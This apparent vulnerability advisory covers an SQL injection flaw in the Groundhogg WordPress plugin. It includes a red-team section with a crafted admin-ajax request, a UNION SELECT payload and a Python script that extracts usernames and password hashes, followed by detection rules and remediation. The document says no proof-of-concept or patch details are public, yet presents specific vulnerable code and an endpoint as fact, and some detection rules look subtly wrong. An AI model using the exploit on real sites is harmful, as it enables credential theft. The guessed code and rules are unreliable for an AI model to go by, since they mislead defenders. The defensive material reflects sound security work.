CVE-2025-12750

Executive Summary

CVE-2025-12750 is a SQL Injection vulnerability discovered in the Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress. The flaw exists in all versions up to and including 4.2.6.1. An authenticated attacker with Administrator-level access can exploit the term parameter to inject arbitrary SQL queries into existing database queries. This allows extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data.

The vulnerability is classified as a WordPress ecosystem issue, specifically within the Groundhogg plugin. The CVSS score is 4.9 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) code or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the vulnerability requires high privileges, a compromised administrator account could lead to full database compromise. The lack of public exploits and low EPSS score reduces immediate risk, but the potential for data exfiltration is significant.

Deep Dive & Mechanics

The vulnerability resides in the Groundhogg plugin's handling of the term parameter during database queries. The plugin fails to properly escape user-supplied input and does not use prepared statements, allowing an attacker to inject malicious SQL code.

Root Cause:

• Insufficient input sanitization on the term parameter.
• Lack of parameterized queries (prepared statements) in the SQL execution path.

Attack Flow:

1. An authenticated administrator sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=groundhogg_search&term=INJECTION).
2. The term parameter is concatenated directly into an SQL query without proper escaping.
3. The injected SQL is executed, allowing the attacker to extract data from the wp_users, wp_usermeta, or other tables.

Example Vulnerable Endpoint:

$term = $_GET['term'];
$query = "SELECT * FROM wp_groundhogg_contacts WHERE name LIKE '%$term%'";
$results = $wpdb->get_results($query);

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.6.1):

$term = $_GET['term'];
$query = "SELECT * FROM wp_groundhogg_contacts WHERE name LIKE '%$term%'";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$term = sanitize_text_field($_GET['term']);
$query = $wpdb->prepare("SELECT * FROM wp_groundhogg_contacts WHERE name LIKE %s", '%' . $term . '%');
$results = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() to safely bind the parameter, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Groundhogg plugin version <= 4.2.6.1.
• Valid administrator credentials.

Exploitation Steps:

1. Log in as an administrator.
2. Craft a malicious request to the vulnerable endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_xxx=admin_session
   
   action=groundhogg_search&term=' UNION SELECT user_login,user_pass FROM wp_users--
   

3. The injected SQL extracts usernames and password hashes from the wp_users table.

Example SQL Injection Payload:

' UNION SELECT user_login,user_pass FROM wp_users--

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "admin_session"}
payload = "' UNION SELECT user_login,user_pass FROM wp_users--"
data = {"action": "groundhogg_search", "term": payload}
response = requests.post(target, cookies=cookies, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual SQL queries in database logs.
• Look for HTTP requests containing SQL keywords (UNION, SELECT, FROM) in the term parameter.
• Alert on administrator-level access to Groundhogg endpoints with suspicious parameters.

Defense:

• Apply input validation and parameterized queries.
• Restrict administrator access to trusted IPs.
• Enable Web Application Firewall (WAF) rules to block SQL injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=groundhogg_search and term parameter containing SQL keywords.
• Unusual database queries in MySQL logs (e.g., UNION SELECT).

Host IOCs:

• Modified WordPress database entries (e.g., new admin users).
• Suspicious files in /wp-content/plugins/groundhogg/ directory.

Log IOCs:

• Apache/Nginx access logs showing admin-ajax.php with term parameter.
• MySQL general query log entries with injected SQL.

Detection Engineering

YARA Rule

rule CVE_2025_12750_SQLi_Groundhogg {
    meta:
        description = "Detects SQL injection attempts targeting Groundhogg plugin CVE-2025-12750"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12750"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "admin-ajax.php" nocase
        $sqli4 = "groundhogg_search" nocase
    condition:
        all of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-12750 Groundhogg SQL Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts via the 'term' parameter in Groundhogg plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=groundhogg_search'
        cs-uri-query|contains: 'term='
        cs-uri-query|re: '(UNION|SELECT|OR\s+1=1|DROP|INSERT)'
    condition: selection
falsepositives:
    - Legitimate search queries with similar patterns
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12750 Groundhogg SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=groundhogg_search"; http_client_body; pcre:"/(UNION|SELECT|OR\s+1=1|DROP|INSERT)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Groundhogg plugin until a patch is available.
2. Restrict administrator access to trusted IP addresses.
3. Enable WAF rules to block SQL injection patterns.

Long-Term Fix:

• Apply parameterized queries using $wpdb->prepare() in all database interactions.
• Implement input validation and sanitization for all user-supplied parameters.
• Regularly update the plugin to the latest version.

Workaround:

• Use a security plugin (e.g., Wordfence) to add virtual patching for SQL injection.

Valters IT
DevSecOps & Cyber Threat Intelligence